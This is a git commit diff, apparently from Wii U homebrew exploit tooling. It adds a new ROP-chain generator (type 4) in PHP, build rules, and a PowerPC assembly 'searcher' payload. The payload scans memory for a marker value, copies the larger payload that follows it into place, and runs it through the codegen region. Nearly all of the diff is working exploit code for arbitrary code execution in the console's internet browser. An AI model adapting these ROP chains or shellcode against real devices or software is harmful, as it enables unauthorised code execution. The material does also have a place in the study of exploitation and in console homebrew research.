Adds a new rop chain. This embedds a small payload into the ROP which gets executed ("wiiuhaxx_searcher"), this payload searchs for a specifc value beginning at a certain address and expects another, bigger payload directly after this value. This "real" payload will then be executed.

This commit is contained in:
orboditilt 2019-01-10 23:27:08 +01:00
parent 9c7073fa3c
commit 1898ab431f
5 changed files with 163 additions and 29 deletions

2
.gitignore vendored
View File

@ -5,3 +5,5 @@ wiiuhaxx_loader.elf
wiiuhaxx_loader.bin wiiuhaxx_loader.bin
tmp/ tmp/
wiiuhaxx_rop_sysver_* wiiuhaxx_rop_sysver_*
wiiuhaxx_searcher.bin
wiiuhaxx_searcher.elf

View File

@ -36,6 +36,9 @@ all: loader locateall
loader: loader:
$(CC) -x assembler-with-cpp -nostartfiles -nostdlib $(DEFINES) -o wiiuhaxx_loader.elf wiiuhaxx_loader.s $(CC) -x assembler-with-cpp -nostartfiles -nostdlib $(DEFINES) -o wiiuhaxx_loader.elf wiiuhaxx_loader.s
$(OBJCOPY) -O binary wiiuhaxx_loader.elf wiiuhaxx_loader.bin $(OBJCOPY) -O binary wiiuhaxx_loader.elf wiiuhaxx_loader.bin
$(CC) -x assembler-with-cpp -nostartfiles -nostdlib $(DEFINES) -o wiiuhaxx_searcher.elf wiiuhaxx_searcher.s
$(OBJCOPY) -O binary wiiuhaxx_searcher.elf wiiuhaxx_searcher.bin
locateall: locate532 locate550 locateall: locate532 locate550
@ -52,5 +55,5 @@ locatespecific:
sh ./wiiuhaxx_locaterop.sh $(COREINIT_PATH) $(TEXTADDRESS) $(exe_ext) > wiiuhaxx_rop_sysver_$(FIRMWARE).php sh ./wiiuhaxx_locaterop.sh $(COREINIT_PATH) $(TEXTADDRESS) $(exe_ext) > wiiuhaxx_rop_sysver_$(FIRMWARE).php
clean: clean:
rm -rf wiiuhaxx_loader.elf wiiuhaxx_loader.bin wiiuhaxx_rop_sysver_* tmp rm -rf wiiuhaxx_loader.elf wiiuhaxx_loader.bin wiiuhaxx_searcher.elf wiiuhaxx_searcher.bin wiiuhaxx_rop_sysver_* tmp

View File

@ -106,6 +106,7 @@ For example:
$wiiuhaxxcfg_payloadfilepath = "<filepath for actual payload, such as wiiuhax_payload.bin, or for example: {projectdir}/bin/code550.bin>";//Remember that this is just an example, you can programmatically select the payload path by checking the request URL/etc if you want as well. $wiiuhaxxcfg_payloadfilepath = "<filepath for actual payload, such as wiiuhax_payload.bin, or for example: {projectdir}/bin/code550.bin>";//Remember that this is just an example, you can programmatically select the payload path by checking the request URL/etc if you want as well.
$wiiuhaxxcfg_loaderfilepath = "<filepath for wiiuhaxx_loader.bin>"; $wiiuhaxxcfg_loaderfilepath = "<filepath for wiiuhaxx_loader.bin>";
$wiiuhaxxcfg_searchpayloadfilepath = "<filepath for wiiuhaxx_searcher.bin>";
?> ?>
``` ```

View File

@ -121,28 +121,45 @@ function generate_ropchain()
{ {
generateropchain_type3(); generateropchain_type3();
} }
else if ($ropchainselect==4)
{
generateropchain_type4();
}
if($generatebinrop==0)$ROPCHAIN.= "\""; if($generatebinrop==0)$ROPCHAIN.= "\"";
} }
function wiiuhaxx_generatepayload() function wiiuhaxx_loadfilebinary($pathToFile){
$payload = file_get_contents($pathToFile);
if($payload === FALSE || strlen($payload) < 4){
die("-1: Failed to load: ". $pathToFile);
}
$len = strlen($payload);
while($len & 0x3){
$payload.= pack("C*", 0x00);
$len = strlen($payload);
}
return $payload;
}
function wiiuhaxx_generatepayload(){
global $wiiuhaxxcfg_payloadfilepath;
return wiiuhaxx_loadfilebinary($wiiuhaxxcfg_payloadfilepath);
}
function wiiuhaxx_generatepayloadwithloader()
{ {
global $wiiuhaxxcfg_payloadfilepath, $wiiuhaxxcfg_loaderfilepath; global $wiiuhaxxcfg_payloadfilepath, $wiiuhaxxcfg_loaderfilepath;
$actual_payload = file_get_contents($wiiuhaxxcfg_payloadfilepath); $actual_payload = wiiuhaxx_loadfilebinary($wiiuhaxxcfg_payloadfilepath);
if($actual_payload === FALSE || strlen($actual_payload) < 4)return FALSE;
$loader = file_get_contents($wiiuhaxxcfg_loaderfilepath); $loader = file_get_contents($wiiuhaxxcfg_loaderfilepath);
if($loader === FALSE || strlen($loader) < 4)return FALSE; if($loader === FALSE || strlen($loader) < 4)return FALSE;
$len = strlen($actual_payload); $len = strlen($actual_payload);
while($len & 0x3)//The actual payload size must be 4-byte aligned.
{
$actual_payload.= pack("C*", 0x00);
$len = strlen($actual_payload);
}
$loader .= pack("N*", $len); $loader .= pack("N*", $len);
return $loader . $actual_payload; return $loader . $actual_payload;
@ -383,6 +400,7 @@ function ropgen_display_u32($skip_printval_initialization)//This prints the valu
ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);//snprintf(outstr, "%x", 0x40, <value of r3 at the time of ropgen_display_u32() entry>); ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);//snprintf(outstr, "%x", 0x40, <value of r3 at the time of ropgen_display_u32() entry>);
$r28 = 0; // This may be wrong, but without this line we get a warning.
ropchain_appendu32($r28);//r28 ropchain_appendu32($r28);//r28
ropchain_appendu32(0x0);//r29 ropchain_appendu32(0x0);//r29
ropchain_appendu32(0x0);//r30 ropchain_appendu32(0x0);//r30
@ -415,21 +433,11 @@ function ropgen_switchto_core1()
ropchain_appendu32(0x0); ropchain_appendu32(0x0);
} }
function ropgen_writerop_toAddress($payload_srcaddr){ function ropgen_writerop_toAddress($path, $dstaddr){
global $wiiuhaxxcfg_payloadfilepath; $payload = wiiuhaxx_loadfilebinary($path);
$len = strlen($payload);
$actual_payload = file_get_contents($wiiuhaxxcfg_payloadfilepath);
if($actual_payload === FALSE || strlen($actual_payload) < 4) die("-1: Failed to load payload");
$len = strlen($actual_payload);
while($len & 0x3){
$actual_payload.= pack("C*", 0x00);
$len = strlen($actual_payload);
}
for($i = 0; $i < $len; $i +=4) { for($i = 0; $i < $len; $i +=4) {
ropgen_writeword_tomem(hexdec (bin2hex (substr($actual_payload, $i, 4))),$payload_srcaddr + $i); ropgen_writeword_tomem(hexdec (bin2hex (substr($payload, $i, 4))),$dstaddr + $i);
} }
} }
@ -446,7 +454,7 @@ function generateropchain_type1()
//ropchain_appendu32(0x80808080);//Trigger a crash. //ropchain_appendu32(0x80808080);//Trigger a crash.
//ropgen_OSFatal($codepayload_srcaddr);//OSFatal(<data from the haxx>); //ropgen_OSFatal($codepayload_srcaddr);//OSFatal(<data from the haxx>);
ropgen_switchto_core1();//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1. ropgen_switchto_core1();//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1.
ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size);
@ -476,14 +484,14 @@ function generateropchain_type1()
// The rop may get quite big here. // The rop may get quite big here.
function generateropchain_type2(){ function generateropchain_type2(){
global $payload_srcaddr, $ROPHEAP, $ROPCHAIN; global $payload_srcaddr, $ROPHEAP, $ROPCHAIN, $wiiuhaxxcfg_payloadfilepath;
$payload_size = 0x20000; $payload_size = 0x20000;
$codegen_addr = 0x01800000; $codegen_addr = 0x01800000;
//$payload_srcaddr must be defined by the code including this .php. //$payload_srcaddr must be defined by the code including this .php.
// Write payload from file to // Write payload from file to
ropgen_writerop_toAddress($payload_srcaddr); ropgen_writerop_toAddress($wiiuhaxxcfg_payloadfilepath, $payload_srcaddr);
//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1. //When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1.
ropgen_switchto_core1(); ropgen_switchto_core1();
@ -501,4 +509,64 @@ function generateropchain_type3(){
ropgen_OSFatal($payload_srcaddr); ropgen_OSFatal($payload_srcaddr);
} }
function generateropchain_type4()
{
global $ROP_OSFatal, $ROP_Exit, $ROPHEAP, $ROPCHAIN, $payload_tmp_address, $wiiuhaxxcfg_searchpayloadfilepath, $payload_start_search,$valid_payload_dst_address, $payload_search_for;
$payload_size = 0x20000;
$codegen_addr = 0x01800000;
// $payload_tmp_address where to store payload from ROP.
if(!isset($payload_tmp_address)){
die('please set $payload_tmp_address to a valid, unused, tmp address.');
}
// $payload_start_search. start address of the payload search.
if(!isset($payload_start_search)){
die('please set $payload_start_search. This should contain the start address of the payload search');
}
//$valid_payload_dst_address = 0x1D500000;
if(!isset($valid_payload_dst_address)){
die('please set $valid_payload_dst_address. This should address a region of 0x20000 bytes where the found payload it copied to.');
}
//$payload_search_for
if(!isset($payload_search_for)){
die('please set $payload_search_for. This should contain a unqiue u32 value that is placed right before the payload.');
}
// size
$search_payload_length = strlen(wiiuhaxx_loadfilebinary($wiiuhaxxcfg_searchpayloadfilepath));
ropgen_switchto_core1();//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1.
// Write our search payload somewhere into mem
ropgen_writerop_toAddress($wiiuhaxxcfg_searchpayloadfilepath,$payload_tmp_address);
// Copy it to codegen
ropgen_copycodebin_to_codegen($codegen_addr, $payload_tmp_address, $search_payload_length);
// Set up some parameters
$regs = array();
$regs[24 - 24] = $ROP_OSFatal;//r24
$regs[25 - 24] = $ROP_Exit;//r25
$regs[26 - 24] = $payload_size;//r26 sizeToCopy
$regs[27 - 24] = $payload_search_for - 0x04;// r27 SearchFor. substract 0x4 so we didn't find THIS accidentally.
$regs[28 - 24] = $payload_start_search; //r28 start of search
$regs[29 - 24] = $valid_payload_dst_address ; //r29 target address
$regs[30 - 24] = 0x8;//r30 The payload can do this at entry to determine the start address of the code-loading ROP-chain: r1+= r30. r1+4 after that is where the jump-addr should be loaded from. The above r29 is a ptr to the input data used for payload loading.
$regs[31 - 24] = $ROPHEAP;//r31
ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase.
// And run it!
ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written.
// We need this, not sure why tbh.
ropchain_appendu32(0x0);
// On success, we should now have our actual payload @valid_payload_dst_address. Lets copy it to codegen.
ropgen_copycodebin_to_codegen($codegen_addr, $valid_payload_dst_address, $payload_size);
// and run it!
ropchain_appendu32($codegen_addr);
}
?> ?>

60
wiiuhaxx_searcher.s Normal file
View File

@ -0,0 +1,60 @@
# Do not remove this.
bl l0
l0:
# Get the start search address (from r28) and save it in r4
mr 4, 28 # Move r28(=start search address) into r4
# Get the target address (from r29) and save it in r3
mr 3, 29 # Move r29(=target address into r3
#r3 = target adress
#r4 = search address
# Get the search for (to be precise the value-4) value (from r27) and save it in r6
mr 6, 27 # Move r27(=search for) into r6
addi 6,6, 4 # Add 4 to it, to get the real target value.
# Find search value
skipnop: #
lwz 5, 0(4) # load from r4 into r5
addi 4,4,4 # increment r4 by 4
cmp 0,0, 5,6 ; # check if it matches our search value
bne 0,skipnop # if not, repeat.
# On failure we crash, on success the start address of the payload is in r4
#r3 = target adress
#r4 = startaddress of payload
# load "sizeToCopy" from r26 into r5, thats the size we want to copy.
mr 5, 26 # sizeToCopy
#r3 = target adress
#r4 = startaddress of payload
#r5 = size to copy
# Calculate the numbers of words to copy and save it in the counter register (payload_size>>2).
li 6, 2 # load 2 into r6
srw 5, 5, 6 # Shift Right Word. Shift r5 by r6 (2). To get the number of words (4 bytes each) to copy.
mtctr 5 # ctr reg = above u32 value >> 2. Put it into counter register.
#r3 = target adress
#r4 = startaddress of payload
#ctr words to copy
# Copy ctr words starting from r4 to r3.
copylp: # Copy the data from _end+4 with size *_end, to the address from r29 (which is now in r3).
lwz 5, 0(4) # load from r4
stw 5, 0(3) # write to r3 from r5
addi 4,4,4
addi 3,3,4 # increment both addresses
bdnz copylp #Decrement count register and branch if it becomes nonzero
# Continue our ROP to now copy the memory from "target address" to codegen.
add 1, 1, 30 # Jump to the code-loading ROP to load the codebin which was copied above. (add r30(=8) to r1(the stackpointer)
lwz 3, 4(1) #read load adress from r1 with offset 4 into r3
mtctr 3 # move r3 to count register
bctr # continue the rop.
_end: